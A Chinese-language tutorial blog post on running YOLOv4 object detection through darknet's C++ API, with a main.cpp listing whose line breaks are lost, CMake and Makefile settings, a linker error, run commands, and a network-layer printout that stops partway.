Introduction

  今年2月份,Yolo之父Joseph Redmon由于Yolo被用于军事和隐私窥探退出CV界表示抗议,就当我们以为Yolo系列就此终结的时候,4月24日,Yolov4横空出世,新的接棒者出现,而一作正是赫赫有名的AB大神。
paper github
在本篇文章里,我们先不急去探究Yolov4的原理,而是从工程的角度来使用Yolov4。首先我们来看一下,Yolov4的性能有多么强劲,下面是使用不同显卡的时候,主流目标检测器的性能,从下图我们发现,Yolov4真的比自己的前辈Yolov3强劲了很多。
yolov4和其他主流目标检测器性能对比

官方darknet

darknetAB
官方工程的使用在AB大神的github里面已经讲的非常清楚,可以实现Yolov4网络的训练,检测等功能。但是使用官方darknet项目我们很难直接进行定制化的项目开发,因此本文利用官方项目提供的C++接口进行目标检测实战。

Yolov4实战

  首先我们从github下载yolov4.weights,不能上外网的同学下载应该很慢,我上传到百度云盘里,方便大家下载,链接如下:
链接: https://pan.baidu.com/s/14U9pkxJE3MHYj7KCWHnkNw 提取码: 54v4
工程包括两个文件main.cpp, yolo_v2_class.hpp.我把自己的整个工程上传到github上,同学们可以直接去git clone下来,觉得有用的同学麻烦star一下,谢谢。

main.cpp

#include <iostream>
#include <iomanip>
#include <string>
#include <vector>
#include <queue>
#include <fstream>
#include <thread>
#include <future>
#include <atomic>
#include <mutex>         // std::mutex, std::unique_lock
#include <cmath>// It makes sense only for video-Camera (not for video-File)
// To use - uncomment the following line. Optical-flow is supported only by OpenCV 3.x - 4.x
//#define TRACK_OPTFLOW
//#define GPU// To use 3D-stereo camera ZED - uncomment the following line. ZED_SDK should be installed.
//#define ZED_STEREO#include "yolo_v2_class.hpp"    // imported functions from DLL#ifdef OPENCV
#ifdef ZED_STEREO
#include <sl/Camera.hpp>
#if ZED_SDK_MAJOR_VERSION == 2
#define ZED_STEREO_2_COMPAT_MODE
#endif#undef GPU // avoid conflict with sl::MEM::GPU#ifdef ZED_STEREO_2_COMPAT_MODE
#pragma comment(lib, "sl_core64.lib")
#pragma comment(lib, "sl_input64.lib")
#endif
#pragma comment(lib, "sl_zed64.lib")float getMedian(std::vector<float> &v) {size_t n = v.size() / 2;std::nth_element(v.begin(), v.begin() + n, v.end());return v[n];
}std::vector<bbox_t> get_3d_coordinates(std::vector<bbox_t> bbox_vect, cv::Mat xyzrgba)
{bool valid_measure;int i, j;const unsigned int R_max_global = 10;std::vector<bbox_t> bbox3d_vect;for (auto &cur_box : bbox_vect) {const unsigned int obj_size = std::min(cur_box.w, cur_box.h);const unsigned int R_max = std::min(R_max_global, obj_size / 2);int center_i = cur_box.x + cur_box.w * 0.5f, center_j = cur_box.y + cur_box.h * 0.5f;std::vector<float> x_vect, y_vect, z_vect;for (int R = 0; R < R_max; R++) {for (int y = -R; y <= R; y++) {for (int x = -R; x <= R; x++) {i = center_i + x;j = center_j + y;sl::float4 out(NAN, NAN, NAN, NAN);if (i >= 0 && i < xyzrgba.cols && j >= 0 && j < xyzrgba.rows) {cv::Vec4f &elem = xyzrgba.at<cv::Vec4f>(j, i);  // x,y,z,wout.x = elem[0];out.y = elem[1];out.z = elem[2];out.w = elem[3];}valid_measure = std::isfinite(out.z);if (valid_measure){x_vect.push_back(out.x);y_vect.push_back(out.y);z_vect.push_back(out.z);}}}}if (x_vect.size() * y_vect.size() * z_vect.size() > 0){cur_box.x_3d = getMedian(x_vect);cur_box.y_3d = getMedian(y_vect);cur_box.z_3d = getMedian(z_vect);}else {cur_box.x_3d = NAN;cur_box.y_3d = NAN;cur_box.z_3d = NAN;}bbox3d_vect.emplace_back(cur_box);}return bbox3d_vect;
}cv::Mat slMat2cvMat(sl::Mat &input) {int cv_type = -1; // Mapping between MAT_TYPE and CV_TYPEif(input.getDataType() ==
#ifdef ZED_STEREO_2_COMPAT_MODEsl::MAT_TYPE_32F_C4
#elsesl::MAT_TYPE::F32_C4
#endif) {cv_type = CV_32FC4;} else cv_type = CV_8UC4; // sl::Mat used are either RGBA images or XYZ (4C) point cloudsreturn cv::Mat(input.getHeight(), input.getWidth(), cv_type, input.getPtr<sl::uchar1>(
#ifdef ZED_STEREO_2_COMPAT_MODEsl::MEM::MEM_CPU
#elsesl::MEM::CPU
#endif));
}cv::Mat zed_capture_rgb(sl::Camera &zed) {sl::Mat left;zed.retrieveImage(left);cv::Mat left_rgb;cv::cvtColor(slMat2cvMat(left), left_rgb, CV_RGBA2RGB);return left_rgb;
}cv::Mat zed_capture_3d(sl::Camera &zed) {sl::Mat cur_cloud;zed.retrieveMeasure(cur_cloud,
#ifdef ZED_STEREO_2_COMPAT_MODEsl::MEASURE_XYZ
#elsesl::MEASURE::XYZ
#endif);return slMat2cvMat(cur_cloud).clone();
}static sl::Camera zed; // ZED-camera#else   // ZED_STEREO
std::vector<bbox_t> get_3d_coordinates(std::vector<bbox_t> bbox_vect, cv::Mat xyzrgba) {return bbox_vect;
}
#endif  // ZED_STEREO#include <opencv2/opencv.hpp>            // C++
#include <opencv2/core/version.hpp>
#ifndef CV_VERSION_EPOCH     // OpenCV 3.x and 4.x
#include <opencv2/videoio/videoio.hpp>
#define OPENCV_VERSION CVAUX_STR(CV_VERSION_MAJOR)"" CVAUX_STR(CV_VERSION_MINOR)"" CVAUX_STR(CV_VERSION_REVISION)
#ifndef USE_CMAKE_LIBS
#pragma comment(lib, "opencv_world" OPENCV_VERSION ".lib")
#ifdef TRACK_OPTFLOW
/*
#pragma comment(lib, "opencv_cudaoptflow" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_cudaimgproc" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_core" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_imgproc" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_highgui" OPENCV_VERSION ".lib")
*/
#endif    // TRACK_OPTFLOW
#endif    // USE_CMAKE_LIBS
#else     // OpenCV 2.x
#define OPENCV_VERSION CVAUX_STR(CV_VERSION_EPOCH)"" CVAUX_STR(CV_VERSION_MAJOR)"" CVAUX_STR(CV_VERSION_MINOR)
#ifndef USE_CMAKE_LIBS
#pragma comment(lib, "opencv_core" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_imgproc" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_highgui" OPENCV_VERSION ".lib")
#pragma comment(lib, "opencv_video" OPENCV_VERSION ".lib")
#endif    // USE_CMAKE_LIBS
#endif    // CV_VERSION_EPOCHusing namespace std;
vector<string> split(const string&s,char sepeartor)
{vector<string> split_vector;int subinit=0;for (int id=0;id!=s.length();id++){if (s[id]==sepeartor){split_vector.push_back(s.substr(subinit,id-subinit));subinit=id+1;}}split_vector.push_back(s.substr(subinit,s.length()-subinit));return split_vector;
}void draw_boxes(cv::Mat mat_img, std::vector<bbox_t> result_vec, std::vector<std::string> obj_names,int current_det_fps = -1, int current_cap_fps = -1)
{int const colors[6][3] = { { 1,0,1 },{ 0,0,1 },{ 0,1,1 },{ 0,1,0 },{ 1,1,0 },{ 1,0,0 } };for (auto &i : result_vec) {cv::Scalar color = obj_id_to_color(i.obj_id);cv::rectangle(mat_img, cv::Rect(i.x, i.y, i.w, i.h), color, 2);if (obj_names.size() > i.obj_id) {std::string obj_name = obj_names[i.obj_id];if (i.track_id > 0) obj_name += " - " + std::to_string(i.track_id);cv::Size const text_size = getTextSize(obj_name, cv::FONT_HERSHEY_COMPLEX_SMALL, 1.2, 2, 0);int max_width = (text_size.width > i.w + 2) ? text_size.width : (i.w + 2);max_width = std::max(max_width, (int)i.w + 2);//max_width = std::max(max_width, 283);std::string coords_3d;if (!std::isnan(i.z_3d)) {std::stringstream ss;ss << std::fixed << std::setprecision(2) << "x:" << i.x_3d << "m y:" << i.y_3d << "m z:" << i.z_3d << "m ";coords_3d = ss.str();cv::Size const text_size_3d = getTextSize(ss.str(), cv::FONT_HERSHEY_COMPLEX_SMALL, 0.8, 1, 0);int const max_width_3d = (text_size_3d.width > i.w + 2) ? text_size_3d.width : (i.w + 2);if (max_width_3d > max_width) max_width = max_width_3d;}cv::rectangle(mat_img, cv::Point2f(std::max((int)i.x - 1, 0), std::max((int)i.y - 35, 0)),cv::Point2f(std::min((int)i.x + max_width, mat_img.cols - 1), std::min((int)i.y, mat_img.rows - 1)),color, CV_FILLED, 8, 0);putText(mat_img, obj_name, cv::Point2f(i.x, i.y - 16), cv::FONT_HERSHEY_COMPLEX_SMALL, 1.2, cv::Scalar(0, 0, 0), 2);if(!coords_3d.empty()) putText(mat_img, coords_3d, cv::Point2f(i.x, i.y-1), cv::FONT_HERSHEY_COMPLEX_SMALL, 0.8, cv::Scalar(0, 0, 0), 1);}}if (current_det_fps >= 0 && current_cap_fps >= 0) {std::string fps_str = "FPS detection: " + std::to_string(current_det_fps) + "   FPS capture: " + std::to_string(current_cap_fps);putText(mat_img, fps_str, cv::Point2f(10, 20), cv::FONT_HERSHEY_COMPLEX_SMALL, 1.2, cv::Scalar(50, 255, 0), 2);}
}
#endif    // OPENCVvoid show_console_result(std::vector<bbox_t> const result_vec, std::vector<std::string> const obj_names, int frame_id = -1) {if (frame_id >= 0) std::cout << " Frame: " << frame_id << std::endl;for (auto &i : result_vec) {if (obj_names.size() > i.obj_id) std::cout << obj_names[i.obj_id] << " - ";std::cout << "obj_id = " << i.obj_id << ",  x = " << i.x << ", y = " << i.y<< ", w = " << i.w << ", h = " << i.h<< std::setprecision(3) << ", prob = " << i.prob << std::endl;}
}std::vector<std::string> objects_names_from_file(std::string const filename) {std::ifstream file(filename);std::vector<std::string> file_lines;if (!file.is_open()) return file_lines;for(std::string line; getline(file, line);) file_lines.push_back(line);std::cout << "object names loaded \n";return file_lines;
}template<typename T>
class send_one_replaceable_object_t {const bool sync;std::atomic<T *> a_ptr;
public:void send(T const& _obj) {T *new_ptr = new T;*new_ptr = _obj;if (sync) {while (a_ptr.load()) std::this_thread::sleep_for(std::chrono::milliseconds(3));}std::unique_ptr<T> old_ptr(a_ptr.exchange(new_ptr));}T receive() {std::unique_ptr<T> ptr;do {while(!a_ptr.load()) std::this_thread::sleep_for(std::chrono::milliseconds(3));ptr.reset(a_ptr.exchange(NULL));} while (!ptr);T obj = *ptr;return obj;}bool is_object_present() {return (a_ptr.load() != NULL);}send_one_replaceable_object_t(bool _sync) : sync(_sync), a_ptr(NULL){}
};int main(int argc, char *argv[])
{std::string  names_file = "coco.names";std::string  cfg_file = "cfg/yolov4.cfg";std::string  weights_file = "yolov4.weights";std::string filename;if (argc > 4) {    //voc.names yolo-voc.cfg yolo-voc.weights test.mp4names_file = argv[1];cfg_file = argv[2];weights_file = argv[3];filename = argv[4];}else if (argc > 1) filename = argv[1];float const thresh = (argc > 5) ? std::stof(argv[5]) : 0.2;Detector detector(cfg_file, weights_file);auto obj_names = objects_names_from_file(names_file);std::string out_videofile = "result.avi";bool const save_output_videofile = false;   // true - for historybool const send_network = false;        // true - for remote detectionbool const use_kalman_filter = false;   // true - for stationary camerabool detection_sync = true;             // true - for video-file
#ifdef TRACK_OPTFLOW    // for slow GPUdetection_sync = false;Tracker_optflow tracker_flow;//detector.wait_stream = true;
#endif  // TRACK_OPTFLOWwhile (true){std::cout << "input image or video filename: ";if(filename.size() == 0) std::cin >> filename;if (filename.size() == 0) break;try {
#ifdef OPENCVpreview_boxes_t large_preview(100, 150, false), small_preview(50, 50, true);bool show_small_boxes = false;std::string const file_ext = filename.substr(filename.find_last_of(".") + 1);std::string const protocol = filename.substr(0, 7);if (file_ext == "avi" || file_ext == "mp4" || file_ext == "mjpg" || file_ext == "mov" ||     // video fileprotocol == "rtmp://" || protocol == "rtsp://" || protocol == "http://" || protocol == "https:/" ||    // video network streamfilename == "zed_camera" || file_ext == "svo" || filename == "web_camera")   // ZED stereo camera{if (protocol == "rtsp://" || protocol == "http://" || protocol == "https:/" || filename == "zed_camera" || filename == "web_camera")detection_sync = false;cv::Mat cur_frame;std::atomic<int> fps_cap_counter(0), fps_det_counter(0);std::atomic<int> current_fps_cap(0), current_fps_det(0);std::atomic<bool> exit_flag(false);std::chrono::steady_clock::time_point steady_start, steady_end;int video_fps = 25;bool use_zed_camera = false;track_kalman_t track_kalman;#ifdef ZED_STEREOsl::InitParameters init_params;init_params.depth_minimum_distance = 0.5;#ifdef ZED_STEREO_2_COMPAT_MODEinit_params.depth_mode = sl::DEPTH_MODE_ULTRA;init_params.camera_resolution = sl::RESOLUTION_HD720;// sl::RESOLUTION_HD1080, sl::RESOLUTION_HD720init_params.coordinate_units = sl::UNIT_METER;init_params.camera_buffer_count_linux = 2;if (file_ext == "svo") init_params.svo_input_filename.set(filename.c_str());#elseinit_params.depth_mode = sl::DEPTH_MODE::ULTRA;init_params.camera_resolution = sl::RESOLUTION::HD720;// sl::RESOLUTION::HD1080, sl::RESOLUTION::HD720init_params.coordinate_units = sl::UNIT::METER;if (file_ext == "svo") init_params.input.setFromSVOFile(filename.c_str());#endif//init_params.sdk_cuda_ctx = (CUcontext)detector.get_cuda_context();init_params.sdk_gpu_id = detector.cur_gpu_id;if (filename == "zed_camera" || file_ext == "svo") {std::cout << "ZED 3D Camera " << zed.open(init_params) << std::endl;if (!zed.isOpened()) {std::cout << " Error: ZED Camera should be connected to USB 3.0. And ZED_SDK should be installed. \n";getchar();return 0;}cur_frame = zed_capture_rgb(zed);use_zed_camera = true;}
#endif  // ZED_STEREOcv::VideoCapture cap;if (filename == "web_camera") {cap.open(0);cap >> cur_frame;} else if (!use_zed_camera) {cap.open(filename);cap >> cur_frame;}
#ifdef CV_VERSION_EPOCH // OpenCV 2.xvideo_fps = cap.get(CV_CAP_PROP_FPS);
#elsevideo_fps = cap.get(cv::CAP_PROP_FPS);
#endifcv::Size const frame_size = cur_frame.size();//cv::Size const frame_size(cap.get(CV_CAP_PROP_FRAME_WIDTH), cap.get(CV_CAP_PROP_FRAME_HEIGHT));std::cout << "\n Video size: " << frame_size << std::endl;cv::VideoWriter output_video;if (save_output_videofile)
#ifdef CV_VERSION_EPOCH // OpenCV 2.xoutput_video.open(out_videofile, CV_FOURCC('D', 'I', 'V', 'X'), std::max(35, video_fps), frame_size, true);
#elseoutput_video.open(out_videofile, cv::VideoWriter::fourcc('D', 'I', 'V', 'X'), std::max(35, video_fps), frame_size, true);
#endifstruct detection_data_t {cv::Mat cap_frame;std::shared_ptr<image_t> det_image;std::vector<bbox_t> result_vec;cv::Mat draw_frame;bool new_detection;uint64_t frame_id;bool exit_flag;cv::Mat zed_cloud;std::queue<cv::Mat> track_optflow_queue;detection_data_t() : exit_flag(false), new_detection(false) {}};const bool sync = detection_sync; // sync data exchangesend_one_replaceable_object_t<detection_data_t> cap2prepare(sync), cap2draw(sync),prepare2detect(sync), detect2draw(sync), draw2show(sync), draw2write(sync), draw2net(sync);std::thread t_cap, t_prepare, t_detect, t_post, t_draw, t_write, t_network;// capture new video-frameif (t_cap.joinable()) t_cap.join();t_cap = std::thread([&](){uint64_t frame_id = 0;detection_data_t detection_data;do {detection_data = detection_data_t();
#ifdef ZED_STEREOif (use_zed_camera) {while (zed.grab() !=#ifdef ZED_STEREO_2_COMPAT_MODEsl::SUCCESS#elsesl::ERROR_CODE::SUCCESS#endif) std::this_thread::sleep_for(std::chrono::milliseconds(2));detection_data.cap_frame = zed_capture_rgb(zed);detection_data.zed_cloud = zed_capture_3d(zed);}else
#endif   // ZED_STEREO{cap >> detection_data.cap_frame;}fps_cap_counter++;detection_data.frame_id = frame_id++;if (detection_data.cap_frame.empty() || exit_flag) {std::cout << " exit_flag: detection_data.cap_frame.size = " << detection_data.cap_frame.size() << std::endl;detection_data.exit_flag = true;detection_data.cap_frame = cv::Mat(frame_size, CV_8UC3);}if (!detection_sync) {cap2draw.send(detection_data);       // skip detection}cap2prepare.send(detection_data);} while (!detection_data.exit_flag);std::cout << " t_cap exit \n";});// pre-processing video frame (resize, convertion)t_prepare = std::thread([&](){std::shared_ptr<image_t> det_image;detection_data_t detection_data;do {detection_data = cap2prepare.receive();det_image = detector.mat_to_image_resize(detection_data.cap_frame);detection_data.det_image = det_image;prepare2detect.send(detection_data);    // detection} while (!detection_data.exit_flag);std::cout << " t_prepare exit \n";});// detection by Yoloif (t_detect.joinable()) t_detect.join();t_detect = std::thread([&](){std::shared_ptr<image_t> det_image;detection_data_t detection_data;do {detection_data = prepare2detect.receive();det_image = detection_data.det_image;std::vector<bbox_t> result_vec;if(det_image)result_vec = detector.detect_resized(*det_image, frame_size.width, frame_size.height, thresh, true);  // truefps_det_counter++;//std::this_thread::sleep_for(std::chrono::milliseconds(150));detection_data.new_detection = true;detection_data.result_vec = result_vec;detect2draw.send(detection_data);} while (!detection_data.exit_flag);std::cout << " t_detect exit \n";});// draw rectangles (and track objects)t_draw = std::thread([&](){std::queue<cv::Mat> track_optflow_queue;detection_data_t detection_data;do {// for Video-fileif (detection_sync) {detection_data = detect2draw.receive();}// for Video-cameraelse{// get new Detection result if presentif (detect2draw.is_object_present()) {cv::Mat old_cap_frame = detection_data.cap_frame;   // use old captured framedetection_data = detect2draw.receive();if (!old_cap_frame.empty()) detection_data.cap_frame = old_cap_frame;}// get new Captured frameelse {std::vector<bbox_t> old_result_vec = detection_data.result_vec; // use old detectionsdetection_data = cap2draw.receive();detection_data.result_vec = old_result_vec;}}cv::Mat cap_frame = detection_data.cap_frame;cv::Mat draw_frame = detection_data.cap_frame.clone();std::vector<bbox_t> result_vec = detection_data.result_vec;#ifdef TRACK_OPTFLOWif (detection_data.new_detection) {tracker_flow.update_tracking_flow(detection_data.cap_frame, detection_data.result_vec);while (track_optflow_queue.size() > 0) {draw_frame = track_optflow_queue.back();result_vec = tracker_flow.tracking_flow(track_optflow_queue.front(), false);track_optflow_queue.pop();}}else {track_optflow_queue.push(cap_frame);result_vec = tracker_flow.tracking_flow(cap_frame, false);}detection_data.new_detection = true;    // to correct kalman filter
#endif //TRACK_OPTFLOW// track ID by using kalman filterif (use_kalman_filter) {if (detection_data.new_detection) {result_vec = track_kalman.correct(result_vec);}else {result_vec = track_kalman.predict();}}// track ID by using custom functionelse {int frame_story = std::max(5, current_fps_cap.load());result_vec = detector.tracking_id(result_vec, true, frame_story, 40);}if (use_zed_camera && !detection_data.zed_cloud.empty()) {result_vec = get_3d_coordinates(result_vec, detection_data.zed_cloud);}//small_preview.set(draw_frame, result_vec);//large_preview.set(draw_frame, result_vec);draw_boxes(draw_frame, result_vec, obj_names, current_fps_det, current_fps_cap);//show_console_result(result_vec, obj_names, detection_data.frame_id);//large_preview.draw(draw_frame);//small_preview.draw(draw_frame, true);detection_data.result_vec = result_vec;detection_data.draw_frame = draw_frame;draw2show.send(detection_data);if (send_network) draw2net.send(detection_data);if (output_video.isOpened()) draw2write.send(detection_data);} while (!detection_data.exit_flag);std::cout << " t_draw exit \n";});// write frame to videofilet_write = std::thread([&](){if (output_video.isOpened()) {detection_data_t detection_data;cv::Mat output_frame;do {detection_data = draw2write.receive();if(detection_data.draw_frame.channels() == 4) cv::cvtColor(detection_data.draw_frame, output_frame, CV_RGBA2RGB);else output_frame = detection_data.draw_frame;output_video << output_frame;} while (!detection_data.exit_flag);output_video.release();}std::cout << " t_write exit \n";});// send detection to the networkt_network = std::thread([&](){if (send_network) {detection_data_t detection_data;do {detection_data = draw2net.receive();detector.send_json_http(detection_data.result_vec, obj_names, detection_data.frame_id, filename);} while (!detection_data.exit_flag);}std::cout << " t_network exit \n";});// show detectiondetection_data_t detection_data;do {steady_end = std::chrono::steady_clock::now();float time_sec = std::chrono::duration<double>(steady_end - steady_start).count();if (time_sec >= 1) {current_fps_det = fps_det_counter.load() / time_sec;current_fps_cap = fps_cap_counter.load() / time_sec;steady_start = steady_end;fps_det_counter = 0;fps_cap_counter = 0;}detection_data = draw2show.receive();cv::Mat draw_frame = detection_data.draw_frame;//if (extrapolate_flag) {//    cv::putText(draw_frame, "extrapolate", cv::Point2f(10, 40), cv::FONT_HERSHEY_COMPLEX_SMALL, 1.0, cv::Scalar(50, 50, 0), 2);//}cv::imshow("window name", draw_frame);filename.replace(filename.end()-4, filename.end(), "_yolov4_out.jpg");int key = cv::waitKey(3);    // 3 or 16msif (key == 'f') show_small_boxes = !show_small_boxes;if (key == 'p') while (true) if (cv::waitKey(100) == 'p') break;//if (key == 'e') extrapolate_flag = !extrapolate_flag;if (key == 27) { exit_flag = true;}//std::cout << " current_fps_det = " << current_fps_det << ", current_fps_cap = " << current_fps_cap << std::endl;} while (!detection_data.exit_flag);std::cout << " show detection exit \n";cv::destroyWindow("window name");// wait for all threadsif (t_cap.joinable()) t_cap.join();if (t_prepare.joinable()) t_prepare.join();if (t_detect.joinable()) t_detect.join();if (t_post.joinable()) t_post.join();if (t_draw.joinable()) t_draw.join();if (t_write.joinable()) t_write.join();if (t_network.joinable()) t_network.join();break;}else if (file_ext == "txt") {    // list of image filesstd::ifstream file(filename);if (!file.is_open()) std::cout << "File not found! \n";elsefor (std::string line; file >> line;) {std::cout << line << std::endl;cv::Mat mat_img = cv::imread(line);std::vector<bbox_t> result_vec = detector.detect(mat_img);show_console_result(result_vec, obj_names);//draw_boxes(mat_img, result_vec, obj_names);//cv::imwrite("res_" + line, mat_img);}}else {    // image file// to achive high performance for multiple images do these 2 lines in another threadcv::Mat mat_img = cv::imread(filename);auto det_image = detector.mat_to_image_resize(mat_img);auto start = std::chrono::steady_clock::now();std::vector<bbox_t> result_vec = detector.detect_resized(*det_image, mat_img.size().width, mat_img.size().height);auto end = std::chrono::steady_clock::now();std::chrono::duration<double> spent = end - start;std::cout << " Time: " << spent.count() << " sec \n";//result_vec = detector.tracking_id(result_vec);    // comment it - if track_id is not requireddraw_boxes(mat_img, result_vec, obj_names);cv::imshow("window name", mat_img);vector<string> filenamesplit=split(filename,'/');string endname=filenamesplit[filenamesplit.size()-1];endname.replace(endname.end()-4,endname.end(),"_yolov4_out.jpg");std::string outputfile="detect_result/"+endname;imwrite(outputfile, mat_img);show_console_result(result_vec, obj_names);cv::waitKey(0);}
#else   // OPENCV//std::vector<bbox_t> result_vec = detector.detect(filename);auto img = detector.load_image(filename);std::vector<bbox_t> result_vec = detector.detect(img);detector.free_image(img);show_console_result(result_vec, obj_names);
#endif  // OPENCV}catch (std::exception &e) { std::cerr << "exception: " << e.what() << "\n"; getchar(); }catch (...) { std::cerr << "unknown exception \n"; getchar(); }filename.clear();}return 0;
}

yolo_v2_class.hpp直接使用github的代码
Cmakelist.txt如下:

cmake_minimum_required(VERSION 3.5)
project(yolov4)
find_package( OpenCV 3 REQUIRED )
set(CMAKE_CXX_STANDARD 14)
include_directories(${OpenCV_INCLUDE_DIRS})
add_executable(yolov4 main.cpp yolo_v2_class.hpp)
target_link_libraries(yolov4 ${OpenCV_LIBS} libdarknet.so libpthread.so.0)

  注意project的yolov4改成自己工程的名字,另外需要链接两个动态库,第一个库是darknet的所有网络层的定义,第二个库是linux的多线程库。两个库都放在/usr/lib目录下,因为这个目录是可以被C++自动检索到的。
libpthread.so.0默认情况下在/lib/x86_64-linux-gnu下,因此可以自动被检索到,只需要把它写在Cmakelist里面就可以。

/usr/bin/ld: CMakeFiles/yolov4.dir/main.cpp.o: undefined reference to symbol 'pthread_create@@GLIBC_2.2.5'
//lib/x86_64-linux-gnu/libpthread.so.0: error adding symbols: DSO missing from command line
collect2: error: ld returned 1 exit status
CMakeFiles/yolov4.dir/build.make:111: recipe for target 'yolov4' failed
make[2]: *** [yolov4] Error 1
CMakeFiles/Makefile2:67: recipe for target 'CMakeFiles/yolov4.dir/all' failed
make[1]: *** [CMakeFiles/yolov4.dir/all] Error 2
Makefile:83: recipe for target 'all' failed
make: *** [all] Error 2

  libdarknet.so则可以通过编译AB大神的darknet工程得到,修改工程的makefile如下:

GPU=0
CUDNN=0
CUDNN_HALF=0
OPENCV=1
AVX=0
OPENMP=1
LIBSO=1
ZED_CAMERA=0 # ZED SDK 3.0 and above
ZED_CAMERA_v2_8=0 # ZED SDK 2.X

  然后make,编译成功以后,就在目录里就出现了libdarknet.so动态库,将其copy至/usr/lib文件夹。
切换到我们的Yolov4文件夹,然后make,通过编译以后,可以运行可执行程序。

./yolov4 image/kite.jpg     //检测图片
./yolov4 test.mp4             //检测视频
./yolov4 web_camera      //检测摄像头
mini_batch = 1, batch = 1, time_steps = 1, train = 0 layer   filters  size/strd(dil)      input                output0 conv     32       3 x 3/ 1    576 x 576 x   3 ->  576 x 576 x  32 0.573 BF1 conv     64       3 x 3/ 2    576 x 576 x  32 ->  288 x 288 x  64 3.058 BF2 conv     64       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  64 0.679 BF3 route  1 		                           ->  288 x 288 x  64 4 conv     64       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  64 0.679 BF5 conv     32       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  32 0.340 BF6 conv     64       3 x 3/ 1    288 x 288 x  32 ->  288 x 288 x  64 3.058 BF7 Shortcut Layer: 4,  wt = 0, wn = 0, outputs: 288 x 288 x  64 0.005 BF8 conv     64       1 x 1/ 1    288 x 288 x  64 ->  288 x 288 x  64 0.679 BF9 route  8 2 	                           ->  288 x 288 x 128 10 conv     64       1 x 1/ 1    288 x 288 x 128 ->  288 x 288 x  64 1.359 BF11 conv    128       3 x 3/ 2    288 x 288 x  64 ->  144 x 144 x 128 3.058 BF12 conv     64       1 x 1/ 1    144 x 144 x 128 ->  144 x 144 x  64 0.340 BF13 route  11 		                           ->  144 x 144 x 128 14 conv     64       1 x 1/ 1    144 x 144 x 128 ->  144 x 144 x  64 0.340 BF15 conv     64       1 x 1/ 1    144 x 144 x  64 ->  144 x 144 x  64 0.170 BF16 conv     64       3 x 3/ 1    144 x 144 x  64 ->  144 x 144 x  64 1.529 BF17 Shortcut Layer: 14,  wt = 0, wn = 0, outputs: 144 x 144 x  64 0.001 BF18 conv     64       1 x 1/ 1    144 x 144 x  64 ->  144 x 144 x  64 0.170 BF19 conv     64       3 x 3/ 1    144 x 144 x  64 ->  144 x 144 x  64 1.529 BF20 Shortcut Layer: 17,  wt = 0, wn = 0, outputs: 144 x 144 x  64 0.001 BF21 conv     64       1 x 1/ 1    144 x 144 x  64 ->  144 x 144 x  64 0.170 BF22 route  21 12 	                           ->  144 x 144 x 128 23 conv    128       1 x 1/ 1    144 x 144 x 128 ->  144 x 144 x 128 0.679 BF24 conv    256       3 x 3/ 2    144 x 144 x 128 ->   72 x  72 x 256 3.058 BF25 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF26 route  24 		                           ->   72 x  72 x 256 27 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF28 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF29 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF30 Shortcut Layer: 27,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF31 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF32 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF33 Shortcut Layer: 30,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF34 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF35 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF36 Shortcut Layer: 33,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF37 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF38 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF39 Shortcut Layer: 36,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF40 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF41 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF42 Shortcut Layer: 39,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF43 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF44 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF45 Shortcut Layer: 42,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF46 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF47 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF48 Shortcut Layer: 45,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF49 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF50 conv    128       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 128 1.529 BF51 Shortcut Layer: 48,  wt = 0, wn = 0, outputs:  72 x  72 x 128 0.001 BF52 conv    128       1 x 1/ 1     72 x  72 x 128 ->   72 x  72 x 128 0.170 BF53 route  52 25 	                           ->   72 x  72 x 256 54 conv    256       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 256 0.679 BF55 conv    512       3 x 3/ 2     72 x  72 x 256 ->   36 x  36 x 512 3.058 BF56 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF57 route  55 		                           ->   36 x  36 x 512 58 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF59 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF60 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF61 Shortcut Layer: 58,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF62 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF63 conv    256       3 x 3/ 1     36 x  36 